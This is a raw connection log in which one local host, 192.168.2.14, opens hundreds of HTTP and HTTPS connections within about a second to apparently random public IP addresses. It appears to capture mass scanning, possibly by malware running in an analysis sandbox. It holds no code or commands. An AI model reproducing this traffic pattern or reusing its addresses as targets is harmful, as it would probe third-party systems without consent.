Oct 14, 2024 17:30:15.223002911 CEST	53274	80	192.168.2.14	95.143.100.109
Oct 14, 2024 17:30:15.223009109 CEST	53274	80	192.168.2.14	115.67.171.174
Oct 14, 2024 17:30:15.223014116 CEST	53274	80	192.168.2.14	134.26.160.243
Oct 14, 2024 17:30:15.223026991 CEST	53274	80	192.168.2.14	67.53.188.236
Oct 14, 2024 17:30:15.223028898 CEST	53274	80	192.168.2.14	192.205.240.195
Oct 14, 2024 17:30:15.223030090 CEST	53274	80	192.168.2.14	143.66.109.211
Oct 14, 2024 17:30:15.223030090 CEST	53274	80	192.168.2.14	135.234.186.7
Oct 14, 2024 17:30:15.223037004 CEST	53274	80	192.168.2.14	81.244.167.113
Oct 14, 2024 17:30:15.223051071 CEST	53274	80	192.168.2.14	168.45.222.166
Oct 14, 2024 17:30:15.223052979 CEST	53274	80	192.168.2.14	52.69.130.135
Oct 14, 2024 17:30:15.223056078 CEST	53274	80	192.168.2.14	181.103.134.29
Oct 14, 2024 17:30:15.223069906 CEST	53274	80	192.168.2.14	69.153.249.8
Oct 14, 2024 17:30:15.223069906 CEST	53274	80	192.168.2.14	202.63.94.111
Oct 14, 2024 17:30:15.223073006 CEST	53274	80	192.168.2.14	176.129.98.30
Oct 14, 2024 17:30:15.223078012 CEST	53274	80	192.168.2.14	34.127.183.233
Oct 14, 2024 17:30:15.223087072 CEST	53274	80	192.168.2.14	45.59.224.217
Oct 14, 2024 17:30:15.223093033 CEST	53274	80	192.168.2.14	143.231.252.148
Oct 14, 2024 17:30:15.223098993 CEST	53274	80	192.168.2.14	196.249.151.217
Oct 14, 2024 17:30:15.223118067 CEST	53274	80	192.168.2.14	47.201.185.106
Oct 14, 2024 17:30:15.223118067 CEST	53274	80	192.168.2.14	102.9.98.80
Oct 14, 2024 17:30:15.223128080 CEST	53274	80	192.168.2.14	133.6.136.204
Oct 14, 2024 17:30:15.223138094 CEST	53274	80	192.168.2.14	119.211.177.131
Oct 14, 2024 17:30:15.223138094 CEST	53274	80	192.168.2.14	218.61.34.202
Oct 14, 2024 17:30:15.223145962 CEST	53274	80	192.168.2.14	137.195.100.145
Oct 14, 2024 17:30:15.223151922 CEST	53274	80	192.168.2.14	89.74.87.251
Oct 14, 2024 17:30:15.223151922 CEST	53274	80	192.168.2.14	8.36.56.243
Oct 14, 2024 17:30:15.223151922 CEST	53274	80	192.168.2.14	81.211.182.153
Oct 14, 2024 17:30:15.223151922 CEST	53274	80	192.168.2.14	171.6.121.252
Oct 14, 2024 17:30:15.223162889 CEST	53274	80	192.168.2.14	189.24.233.149
Oct 14, 2024 17:30:15.223166943 CEST	53274	80	192.168.2.14	143.234.147.97
Oct 14, 2024 17:30:15.223166943 CEST	53274	80	192.168.2.14	153.144.213.252
Oct 14, 2024 17:30:15.223171949 CEST	53274	80	192.168.2.14	145.187.214.97
Oct 14, 2024 17:30:15.223171949 CEST	53274	80	192.168.2.14	175.40.172.101
Oct 14, 2024 17:30:15.223172903 CEST	53274	80	192.168.2.14	27.212.20.137
Oct 14, 2024 17:30:15.223180056 CEST	53274	80	192.168.2.14	175.64.234.61
Oct 14, 2024 17:30:15.223180056 CEST	53274	80	192.168.2.14	124.20.110.209
Oct 14, 2024 17:30:15.223184109 CEST	53274	80	192.168.2.14	183.125.51.99
Oct 14, 2024 17:30:15.223184109 CEST	53274	80	192.168.2.14	148.147.164.80
Oct 14, 2024 17:30:15.223190069 CEST	53274	80	192.168.2.14	197.64.7.244
Oct 14, 2024 17:30:15.223191977 CEST	53274	80	192.168.2.14	166.113.180.157
Oct 14, 2024 17:30:15.223191977 CEST	53274	80	192.168.2.14	187.101.91.52
Oct 14, 2024 17:30:15.223195076 CEST	53274	80	192.168.2.14	203.97.41.198
Oct 14, 2024 17:30:15.223201990 CEST	53274	80	192.168.2.14	52.175.230.195
Oct 14, 2024 17:30:15.223215103 CEST	53274	80	192.168.2.14	119.194.217.118
Oct 14, 2024 17:30:15.223216057 CEST	53274	80	192.168.2.14	140.179.21.87
Oct 14, 2024 17:30:15.223247051 CEST	53274	80	192.168.2.14	112.157.157.48
Oct 14, 2024 17:30:15.223253012 CEST	53274	80	192.168.2.14	80.248.110.138
Oct 14, 2024 17:30:15.223253012 CEST	53274	80	192.168.2.14	125.209.209.161
Oct 14, 2024 17:30:15.223263025 CEST	53274	80	192.168.2.14	136.168.162.226
Oct 14, 2024 17:30:15.223263025 CEST	53274	80	192.168.2.14	132.138.71.102
Oct 14, 2024 17:30:15.223269939 CEST	53274	80	192.168.2.14	121.105.109.33
Oct 14, 2024 17:30:15.223270893 CEST	53274	80	192.168.2.14	64.244.176.81
Oct 14, 2024 17:30:15.223272085 CEST	53274	80	192.168.2.14	23.159.254.151
Oct 14, 2024 17:30:15.223275900 CEST	53274	80	192.168.2.14	75.1.224.44
Oct 14, 2024 17:30:15.223279953 CEST	53274	80	192.168.2.14	40.86.125.188
Oct 14, 2024 17:30:15.223280907 CEST	53274	80	192.168.2.14	221.44.84.232
Oct 14, 2024 17:30:15.223279953 CEST	53274	80	192.168.2.14	194.201.212.58
Oct 14, 2024 17:30:15.223288059 CEST	53274	80	192.168.2.14	44.181.190.203
Oct 14, 2024 17:30:15.223294973 CEST	53274	80	192.168.2.14	157.148.144.93
Oct 14, 2024 17:30:15.223299026 CEST	53274	80	192.168.2.14	209.76.198.221
Oct 14, 2024 17:30:15.223318100 CEST	53274	80	192.168.2.14	174.188.169.176
Oct 14, 2024 17:30:15.223320961 CEST	53274	80	192.168.2.14	158.190.26.3
Oct 14, 2024 17:30:15.223330021 CEST	53274	80	192.168.2.14	53.99.15.109
Oct 14, 2024 17:30:15.223331928 CEST	53274	80	192.168.2.14	52.153.185.82
Oct 14, 2024 17:30:15.223331928 CEST	53274	80	192.168.2.14	24.142.183.115
Oct 14, 2024 17:30:15.223331928 CEST	53274	80	192.168.2.14	181.168.70.205
Oct 14, 2024 17:30:15.223340034 CEST	53274	80	192.168.2.14	117.234.93.220
Oct 14, 2024 17:30:15.223341942 CEST	53274	80	192.168.2.14	50.149.75.207
Oct 14, 2024 17:30:15.223345995 CEST	53274	80	192.168.2.14	139.145.191.20
Oct 14, 2024 17:30:15.223351955 CEST	53274	80	192.168.2.14	165.75.78.52
Oct 14, 2024 17:30:15.223361969 CEST	53274	80	192.168.2.14	202.209.31.241
Oct 14, 2024 17:30:15.223371983 CEST	53274	80	192.168.2.14	61.70.236.237
Oct 14, 2024 17:30:15.223380089 CEST	53274	80	192.168.2.14	71.98.51.36
Oct 14, 2024 17:30:15.223382950 CEST	53274	80	192.168.2.14	5.1.168.136
Oct 14, 2024 17:30:15.223382950 CEST	53274	80	192.168.2.14	198.63.36.129
Oct 14, 2024 17:30:15.223382950 CEST	53274	80	192.168.2.14	18.251.25.205
Oct 14, 2024 17:30:15.223401070 CEST	53274	80	192.168.2.14	145.101.174.44
Oct 14, 2024 17:30:15.223401070 CEST	53274	80	192.168.2.14	71.201.6.160
Oct 14, 2024 17:30:15.223407984 CEST	53274	80	192.168.2.14	223.93.5.201
Oct 14, 2024 17:30:15.223412037 CEST	53274	80	192.168.2.14	118.200.40.214
Oct 14, 2024 17:30:15.223418951 CEST	53274	80	192.168.2.14	37.239.189.221
Oct 14, 2024 17:30:15.223423958 CEST	53274	80	192.168.2.14	218.63.133.68
Oct 14, 2024 17:30:15.223423958 CEST	53274	80	192.168.2.14	211.238.176.48
Oct 14, 2024 17:30:15.223433018 CEST	53274	80	192.168.2.14	115.1.173.178
Oct 14, 2024 17:30:15.223433018 CEST	53274	80	192.168.2.14	62.17.205.151
Oct 14, 2024 17:30:15.223442078 CEST	53274	80	192.168.2.14	174.222.160.119
Oct 14, 2024 17:30:15.223442078 CEST	53274	80	192.168.2.14	138.41.17.174
Oct 14, 2024 17:30:15.223442078 CEST	53274	80	192.168.2.14	210.210.145.61
Oct 14, 2024 17:30:15.223452091 CEST	53274	80	192.168.2.14	201.20.4.240
Oct 14, 2024 17:30:15.223452091 CEST	53274	80	192.168.2.14	149.225.56.171
Oct 14, 2024 17:30:15.223531008 CEST	40452	80	192.168.2.14	144.126.212.192
Oct 14, 2024 17:30:15.223531961 CEST	42986	80	192.168.2.14	193.175.163.210
Oct 14, 2024 17:30:15.223540068 CEST	51812	80	192.168.2.14	128.159.116.3
Oct 14, 2024 17:30:15.223552942 CEST	49520	80	192.168.2.14	208.88.254.216
Oct 14, 2024 17:30:15.223566055 CEST	36460	80	192.168.2.14	155.88.247.4
Oct 14, 2024 17:30:15.223586082 CEST	56312	80	192.168.2.14	140.226.234.176
Oct 14, 2024 17:30:15.223586082 CEST	59812	80	192.168.2.14	36.146.68.68
Oct 14, 2024 17:30:15.223618984 CEST	47880	80	192.168.2.14	199.174.142.92
Oct 14, 2024 17:30:15.223622084 CEST	46638	80	192.168.2.14	84.112.120.151
Oct 14, 2024 17:30:15.223627090 CEST	58962	80	192.168.2.14	85.226.66.251
Oct 14, 2024 17:30:15.223639965 CEST	36988	80	192.168.2.14	54.4.91.47
Oct 14, 2024 17:30:15.223653078 CEST	48538	80	192.168.2.14	86.234.55.246
Oct 14, 2024 17:30:15.223668098 CEST	39786	80	192.168.2.14	40.127.107.190
Oct 14, 2024 17:30:15.223685980 CEST	41292	80	192.168.2.14	173.156.218.62
Oct 14, 2024 17:30:15.223685980 CEST	57804	80	192.168.2.14	31.209.245.244
Oct 14, 2024 17:30:15.223702908 CEST	35126	80	192.168.2.14	98.202.235.68
Oct 14, 2024 17:30:15.223722935 CEST	41888	80	192.168.2.14	59.200.251.230
Oct 14, 2024 17:30:15.223742008 CEST	43942	80	192.168.2.14	166.177.227.239
Oct 14, 2024 17:30:15.223748922 CEST	48158	80	192.168.2.14	60.101.27.239
Oct 14, 2024 17:30:15.223748922 CEST	38078	80	192.168.2.14	208.52.168.85
Oct 14, 2024 17:30:15.223769903 CEST	35258	80	192.168.2.14	69.71.62.111
Oct 14, 2024 17:30:15.223769903 CEST	44306	80	192.168.2.14	210.12.192.106
Oct 14, 2024 17:30:15.223773003 CEST	41964	80	192.168.2.14	153.198.51.111
Oct 14, 2024 17:30:15.223795891 CEST	46168	80	192.168.2.14	117.124.14.241
Oct 14, 2024 17:30:15.223819971 CEST	40036	80	192.168.2.14	65.84.148.249
Oct 14, 2024 17:30:15.223838091 CEST	38728	80	192.168.2.14	69.70.116.30
Oct 14, 2024 17:30:15.223854065 CEST	59928	80	192.168.2.14	183.12.103.38
Oct 14, 2024 17:30:15.227026939 CEST	80	53274	96.216.253.77	192.168.2.14
Oct 14, 2024 17:30:15.227039099 CEST	80	53274	32.99.21.186	192.168.2.14
Oct 14, 2024 17:30:15.227076054 CEST	80	53274	1.148.190.212	192.168.2.14
Oct 14, 2024 17:30:15.227094889 CEST	53274	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.227097034 CEST	53274	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.227102995 CEST	80	53274	25.253.62.124	192.168.2.14
Oct 14, 2024 17:30:15.227132082 CEST	80	53274	205.107.145.232	192.168.2.14
Oct 14, 2024 17:30:15.227157116 CEST	53274	80	192.168.2.14	25.253.62.124
Oct 14, 2024 17:30:15.227159023 CEST	53274	80	192.168.2.14	1.148.190.212
Oct 14, 2024 17:30:15.227160931 CEST	80	53274	183.57.13.174	192.168.2.14
Oct 14, 2024 17:30:15.227180004 CEST	53274	80	192.168.2.14	205.107.145.232
Oct 14, 2024 17:30:15.227205038 CEST	80	53274	120.102.6.25	192.168.2.14
Oct 14, 2024 17:30:15.227219105 CEST	53274	80	192.168.2.14	183.57.13.174
Oct 14, 2024 17:30:15.227258921 CEST	80	53274	211.93.158.133	192.168.2.14
Oct 14, 2024 17:30:15.227267027 CEST	53274	80	192.168.2.14	120.102.6.25
Oct 14, 2024 17:30:15.227288008 CEST	80	53274	151.30.154.70	192.168.2.14
Oct 14, 2024 17:30:15.227307081 CEST	53274	80	192.168.2.14	211.93.158.133
Oct 14, 2024 17:30:15.227315903 CEST	80	53274	190.118.154.120	192.168.2.14
Oct 14, 2024 17:30:15.227328062 CEST	53274	80	192.168.2.14	151.30.154.70
Oct 14, 2024 17:30:15.227344990 CEST	80	53274	108.59.218.14	192.168.2.14
Oct 14, 2024 17:30:15.227364063 CEST	53274	80	192.168.2.14	190.118.154.120
Oct 14, 2024 17:30:15.227371931 CEST	80	53274	154.169.141.100	192.168.2.14
Oct 14, 2024 17:30:15.227407932 CEST	53274	80	192.168.2.14	108.59.218.14
Oct 14, 2024 17:30:15.227407932 CEST	53274	80	192.168.2.14	154.169.141.100
Oct 14, 2024 17:30:15.227418900 CEST	80	53274	204.238.103.57	192.168.2.14
Oct 14, 2024 17:30:15.227447033 CEST	80	53274	216.238.52.110	192.168.2.14
Oct 14, 2024 17:30:15.227466106 CEST	53274	80	192.168.2.14	204.238.103.57
Oct 14, 2024 17:30:15.227473974 CEST	80	53274	210.18.166.10	192.168.2.14
Oct 14, 2024 17:30:15.227494001 CEST	53274	80	192.168.2.14	216.238.52.110
Oct 14, 2024 17:30:15.227514982 CEST	80	53274	1.20.93.146	192.168.2.14
Oct 14, 2024 17:30:15.227529049 CEST	53274	80	192.168.2.14	210.18.166.10
Oct 14, 2024 17:30:15.227564096 CEST	80	53274	209.103.14.109	192.168.2.14
Oct 14, 2024 17:30:15.227575064 CEST	53274	80	192.168.2.14	1.20.93.146
Oct 14, 2024 17:30:15.227592945 CEST	80	53274	95.229.108.229	192.168.2.14
Oct 14, 2024 17:30:15.227607965 CEST	53274	80	192.168.2.14	209.103.14.109
Oct 14, 2024 17:30:15.227619886 CEST	80	53274	85.39.9.213	192.168.2.14
Oct 14, 2024 17:30:15.227628946 CEST	53274	80	192.168.2.14	95.229.108.229
Oct 14, 2024 17:30:15.227648973 CEST	80	53274	178.207.112.218	192.168.2.14
Oct 14, 2024 17:30:15.227674007 CEST	53274	80	192.168.2.14	85.39.9.213
Oct 14, 2024 17:30:15.227675915 CEST	80	53274	179.90.54.18	192.168.2.14
Oct 14, 2024 17:30:15.227705002 CEST	80	53274	149.214.36.48	192.168.2.14
Oct 14, 2024 17:30:15.227710009 CEST	53274	80	192.168.2.14	178.207.112.218
Oct 14, 2024 17:30:15.227725983 CEST	53274	80	192.168.2.14	179.90.54.18
Oct 14, 2024 17:30:15.227732897 CEST	80	53274	67.20.26.16	192.168.2.14
Oct 14, 2024 17:30:15.227746010 CEST	53274	80	192.168.2.14	149.214.36.48
Oct 14, 2024 17:30:15.227761030 CEST	80	53274	13.59.189.225	192.168.2.14
Oct 14, 2024 17:30:15.227790117 CEST	80	53274	211.106.8.26	192.168.2.14
Oct 14, 2024 17:30:15.227794886 CEST	53274	80	192.168.2.14	67.20.26.16
Oct 14, 2024 17:30:15.227806091 CEST	53274	80	192.168.2.14	13.59.189.225
Oct 14, 2024 17:30:15.227818966 CEST	80	53274	80.60.19.51	192.168.2.14
Oct 14, 2024 17:30:15.227840900 CEST	53274	80	192.168.2.14	211.106.8.26
Oct 14, 2024 17:30:15.227863073 CEST	53274	80	192.168.2.14	80.60.19.51
Oct 14, 2024 17:30:15.228621006 CEST	80	53274	223.93.5.201	192.168.2.14
Oct 14, 2024 17:30:15.228679895 CEST	53274	80	192.168.2.14	223.93.5.201
Oct 14, 2024 17:30:15.250507116 CEST	37428	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:15.256426096 CEST	80	37428	62.176.2.9	192.168.2.14
Oct 14, 2024 17:30:15.256514072 CEST	37428	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:15.256548882 CEST	37428	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:15.256597042 CEST	33146	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.256597042 CEST	39662	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.256618023 CEST	60190	80	192.168.2.14	1.148.190.212
Oct 14, 2024 17:30:15.256635904 CEST	39574	80	192.168.2.14	25.253.62.124
Oct 14, 2024 17:30:15.256640911 CEST	46580	80	192.168.2.14	205.107.145.232
Oct 14, 2024 17:30:15.256676912 CEST	40658	80	192.168.2.14	120.102.6.25
Oct 14, 2024 17:30:15.256684065 CEST	56202	80	192.168.2.14	183.57.13.174
Oct 14, 2024 17:30:15.256706953 CEST	44186	80	192.168.2.14	151.30.154.70
Oct 14, 2024 17:30:15.256711960 CEST	57264	80	192.168.2.14	211.93.158.133
Oct 14, 2024 17:30:15.256726027 CEST	49008	80	192.168.2.14	190.118.154.120
Oct 14, 2024 17:30:15.256746054 CEST	35794	80	192.168.2.14	154.169.141.100
Oct 14, 2024 17:30:15.256748915 CEST	60378	80	192.168.2.14	108.59.218.14
Oct 14, 2024 17:30:15.256762981 CEST	55834	80	192.168.2.14	204.238.103.57
Oct 14, 2024 17:30:15.256776094 CEST	52582	80	192.168.2.14	210.18.166.10
Oct 14, 2024 17:30:15.256777048 CEST	58540	80	192.168.2.14	216.238.52.110
Oct 14, 2024 17:30:15.256819963 CEST	35758	80	192.168.2.14	1.20.93.146
Oct 14, 2024 17:30:15.256827116 CEST	44274	80	192.168.2.14	209.103.14.109
Oct 14, 2024 17:30:15.256828070 CEST	54826	80	192.168.2.14	95.229.108.229
Oct 14, 2024 17:30:15.256841898 CEST	34838	80	192.168.2.14	85.39.9.213
Oct 14, 2024 17:30:15.256863117 CEST	40066	80	192.168.2.14	179.90.54.18
Oct 14, 2024 17:30:15.256867886 CEST	60700	80	192.168.2.14	149.214.36.48
Oct 14, 2024 17:30:15.256869078 CEST	56514	80	192.168.2.14	178.207.112.218
Oct 14, 2024 17:30:15.256885052 CEST	53924	80	192.168.2.14	67.20.26.16
Oct 14, 2024 17:30:15.256933928 CEST	56170	80	192.168.2.14	80.60.19.51
Oct 14, 2024 17:30:15.256934881 CEST	54000	80	192.168.2.14	211.106.8.26
Oct 14, 2024 17:30:15.256934881 CEST	45290	80	192.168.2.14	13.59.189.225
Oct 14, 2024 17:30:15.257045984 CEST	58090	80	192.168.2.14	223.93.5.201
Oct 14, 2024 17:30:15.261955976 CEST	80	33146	96.216.253.77	192.168.2.14
Oct 14, 2024 17:30:15.262006044 CEST	80	39662	32.99.21.186	192.168.2.14
Oct 14, 2024 17:30:15.262043953 CEST	33146	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.262043953 CEST	39662	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.262085915 CEST	33146	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.262085915 CEST	33146	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.262123108 CEST	33200	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.262123108 CEST	39662	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.262123108 CEST	39662	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.262166023 CEST	39716	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.262320042 CEST	80	37428	62.176.2.9	192.168.2.14
Oct 14, 2024 17:30:15.262362957 CEST	37428	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:15.267473936 CEST	80	33146	96.216.253.77	192.168.2.14
Oct 14, 2024 17:30:15.267522097 CEST	80	39662	32.99.21.186	192.168.2.14
Oct 14, 2024 17:30:15.311115980 CEST	80	39662	32.99.21.186	192.168.2.14
Oct 14, 2024 17:30:15.311146021 CEST	80	33146	96.216.253.77	192.168.2.14
Oct 14, 2024 17:30:15.923682928 CEST	54042	443	192.168.2.14	148.17.100.157
Oct 14, 2024 17:30:15.923681974 CEST	54042	443	192.168.2.14	202.100.248.134
Oct 14, 2024 17:30:15.923734903 CEST	443	54042	148.17.100.157	192.168.2.14
Oct 14, 2024 17:30:15.923738003 CEST	54042	443	192.168.2.14	94.213.112.192
Oct 14, 2024 17:30:15.923741102 CEST	443	54042	202.100.248.134	192.168.2.14
Oct 14, 2024 17:30:15.923738003 CEST	54042	443	192.168.2.14	212.239.233.141
Oct 14, 2024 17:30:15.923738003 CEST	54042	443	192.168.2.14	212.44.188.23
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	123.236.37.78
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	118.212.93.245
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	37.109.51.21
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	210.214.76.3
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	123.70.37.206
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	210.18.38.11
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	118.55.188.93
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	148.4.181.91
Oct 14, 2024 17:30:15.923748970 CEST	54042	443	192.168.2.14	109.89.125.131
Oct 14, 2024 17:30:15.923753023 CEST	54042	443	192.168.2.14	117.1.227.125
Oct 14, 2024 17:30:15.923747063 CEST	54042	443	192.168.2.14	2.3.159.208
Oct 14, 2024 17:30:15.923753023 CEST	54042	443	192.168.2.14	79.152.45.247
Oct 14, 2024 17:30:15.923753023 CEST	54042	443	192.168.2.14	79.54.96.151
Oct 14, 2024 17:30:15.923763037 CEST	54042	443	192.168.2.14	123.239.48.131
Oct 14, 2024 17:30:15.923763990 CEST	54042	443	192.168.2.14	118.78.42.174
Oct 14, 2024 17:30:15.923774004 CEST	54042	443	192.168.2.14	148.134.51.47
Oct 14, 2024 17:30:15.923763990 CEST	54042	443	192.168.2.14	79.232.73.236
Oct 14, 2024 17:30:15.923774004 CEST	54042	443	192.168.2.14	117.91.135.93
Oct 14, 2024 17:30:15.923777103 CEST	443	54042	117.1.227.125	192.168.2.14
Oct 14, 2024 17:30:15.923774004 CEST	54042	443	192.168.2.14	178.207.145.222
Oct 14, 2024 17:30:15.923774004 CEST	54042	443	192.168.2.14	123.80.128.111
Oct 14, 2024 17:30:15.923774004 CEST	54042	443	192.168.2.14	178.33.151.243
Oct 14, 2024 17:30:15.923794985 CEST	443	54042	118.212.93.245	192.168.2.14
Oct 14, 2024 17:30:15.923794985 CEST	443	54042	94.213.112.192	192.168.2.14
Oct 14, 2024 17:30:15.923794985 CEST	443	54042	123.236.37.78	192.168.2.14
Oct 14, 2024 17:30:15.923799038 CEST	443	54042	148.134.51.47	192.168.2.14
Oct 14, 2024 17:30:15.923804045 CEST	443	54042	37.109.51.21	192.168.2.14
Oct 14, 2024 17:30:15.923806906 CEST	443	54042	79.152.45.247	192.168.2.14
Oct 14, 2024 17:30:15.923808098 CEST	443	54042	117.91.135.93	192.168.2.14
Oct 14, 2024 17:30:15.923808098 CEST	443	54042	109.89.125.131	192.168.2.14
Oct 14, 2024 17:30:15.923808098 CEST	54042	443	192.168.2.14	5.205.208.7
Oct 14, 2024 17:30:15.923809052 CEST	443	54042	79.54.96.151	192.168.2.14
Oct 14, 2024 17:30:15.923808098 CEST	54042	443	192.168.2.14	210.107.116.212
Oct 14, 2024 17:30:15.923808098 CEST	54042	443	192.168.2.14	109.63.246.11
Oct 14, 2024 17:30:15.923811913 CEST	443	54042	210.214.76.3	192.168.2.14
Oct 14, 2024 17:30:15.923808098 CEST	54042	443	192.168.2.14	5.40.154.0
Oct 14, 2024 17:30:15.923808098 CEST	54042	443	192.168.2.14	94.36.48.186
Oct 14, 2024 17:30:15.923814058 CEST	443	54042	123.70.37.206	192.168.2.14
Oct 14, 2024 17:30:15.923815966 CEST	54042	443	192.168.2.14	79.183.164.138
Oct 14, 2024 17:30:15.923815966 CEST	54042	443	192.168.2.14	148.90.20.52
Oct 14, 2024 17:30:15.923820972 CEST	443	54042	178.207.145.222	192.168.2.14
Oct 14, 2024 17:30:15.923820972 CEST	443	54042	210.18.38.11	192.168.2.14
Oct 14, 2024 17:30:15.923823118 CEST	443	54042	148.4.181.91	192.168.2.14
Oct 14, 2024 17:30:15.923825026 CEST	443	54042	212.239.233.141	192.168.2.14
Oct 14, 2024 17:30:15.923825979 CEST	443	54042	79.183.164.138	192.168.2.14
Oct 14, 2024 17:30:15.923825979 CEST	443	54042	212.44.188.23	192.168.2.14
Oct 14, 2024 17:30:15.923825979 CEST	443	54042	118.55.188.93	192.168.2.14
Oct 14, 2024 17:30:15.923829079 CEST	443	54042	123.80.128.111	192.168.2.14
Oct 14, 2024 17:30:15.923830032 CEST	443	54042	2.3.159.208	192.168.2.14
Oct 14, 2024 17:30:15.923831940 CEST	443	54042	148.90.20.52	192.168.2.14
Oct 14, 2024 17:30:15.923835039 CEST	443	54042	178.33.151.243	192.168.2.14
Oct 14, 2024 17:30:15.923836946 CEST	54042	443	192.168.2.14	202.92.116.87
Oct 14, 2024 17:30:15.923836946 CEST	54042	443	192.168.2.14	117.23.155.3
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	2.211.155.107
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	2.253.203.255
Oct 14, 2024 17:30:15.923836946 CEST	54042	443	192.168.2.14	178.2.176.188
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	210.254.154.136
Oct 14, 2024 17:30:15.923837900 CEST	443	54042	210.107.116.212	192.168.2.14
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	37.123.20.241
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	2.95.104.10
Oct 14, 2024 17:30:15.923837900 CEST	443	54042	5.205.208.7	192.168.2.14
Oct 14, 2024 17:30:15.923847914 CEST	54042	443	192.168.2.14	42.93.104.229
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	109.16.26.209
Oct 14, 2024 17:30:15.923847914 CEST	54042	443	192.168.2.14	117.36.249.66
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	37.48.254.142
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	2.87.132.254
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	210.156.87.65
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	117.162.54.99
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	37.77.102.75
Oct 14, 2024 17:30:15.923856020 CEST	54042	443	192.168.2.14	212.181.132.215
Oct 14, 2024 17:30:15.923839092 CEST	54042	443	192.168.2.14	5.43.224.173
Oct 14, 2024 17:30:15.923856974 CEST	443	54042	202.92.116.87	192.168.2.14
Oct 14, 2024 17:30:15.923860073 CEST	443	54042	109.63.246.11	192.168.2.14
Oct 14, 2024 17:30:15.923863888 CEST	443	54042	117.23.155.3	192.168.2.14
Oct 14, 2024 17:30:15.923863888 CEST	443	54042	212.181.132.215	192.168.2.14
Oct 14, 2024 17:30:15.923865080 CEST	443	54042	42.93.104.229	192.168.2.14
Oct 14, 2024 17:30:15.923866987 CEST	443	54042	5.40.154.0	192.168.2.14
Oct 14, 2024 17:30:15.923867941 CEST	443	54042	2.211.155.107	192.168.2.14
Oct 14, 2024 17:30:15.923868895 CEST	54042	443	192.168.2.14	148.208.209.37
Oct 14, 2024 17:30:15.923868895 CEST	54042	443	192.168.2.14	210.0.197.130
Oct 14, 2024 17:30:15.923868895 CEST	54042	443	192.168.2.14	37.198.10.31
Oct 14, 2024 17:30:15.923872948 CEST	443	54042	94.36.48.186	192.168.2.14
Oct 14, 2024 17:30:15.923873901 CEST	443	54042	178.2.176.188	192.168.2.14
Oct 14, 2024 17:30:15.923875093 CEST	443	54042	123.239.48.131	192.168.2.14
Oct 14, 2024 17:30:15.923876047 CEST	443	54042	2.253.203.255	192.168.2.14
Oct 14, 2024 17:30:15.923880100 CEST	443	54042	210.254.154.136	192.168.2.14
Oct 14, 2024 17:30:15.923888922 CEST	443	54042	2.95.104.10	192.168.2.14
Oct 14, 2024 17:30:15.923890114 CEST	443	54042	210.0.197.130	192.168.2.14
Oct 14, 2024 17:30:15.923890114 CEST	443	54042	148.208.209.37	192.168.2.14
Oct 14, 2024 17:30:15.923894882 CEST	443	54042	37.48.254.142	192.168.2.14
Oct 14, 2024 17:30:15.923897028 CEST	443	54042	37.123.20.241	192.168.2.14
Oct 14, 2024 17:30:15.923897982 CEST	443	54042	117.36.249.66	192.168.2.14
Oct 14, 2024 17:30:15.923899889 CEST	54042	443	192.168.2.14	123.212.105.59
Oct 14, 2024 17:30:15.923899889 CEST	54042	443	192.168.2.14	37.12.60.118
Oct 14, 2024 17:30:15.923899889 CEST	54042	443	192.168.2.14	42.213.233.64
Oct 14, 2024 17:30:15.923899889 CEST	54042	443	192.168.2.14	117.1.227.125
Oct 14, 2024 17:30:15.923899889 CEST	54042	443	192.168.2.14	94.193.240.74
Oct 14, 2024 17:30:15.923907042 CEST	443	54042	210.156.87.65	192.168.2.14
Oct 14, 2024 17:30:15.923907995 CEST	443	54042	109.16.26.209	192.168.2.14
Oct 14, 2024 17:30:15.923913002 CEST	443	54042	2.87.132.254	192.168.2.14
Oct 14, 2024 17:30:15.923913956 CEST	443	54042	37.198.10.31	192.168.2.14
Oct 14, 2024 17:30:15.923918009 CEST	443	54042	117.162.54.99	192.168.2.14
Oct 14, 2024 17:30:15.923923969 CEST	443	54042	37.12.60.118	192.168.2.14
Oct 14, 2024 17:30:15.923924923 CEST	443	54042	123.212.105.59	192.168.2.14
Oct 14, 2024 17:30:15.923927069 CEST	54042	443	192.168.2.14	5.129.114.154
Oct 14, 2024 17:30:15.923927069 CEST	54042	443	192.168.2.14	94.213.112.192
Oct 14, 2024 17:30:15.923928976 CEST	54042	443	192.168.2.14	118.143.25.196
Oct 14, 2024 17:30:15.923928976 CEST	54042	443	192.168.2.14	2.219.80.79
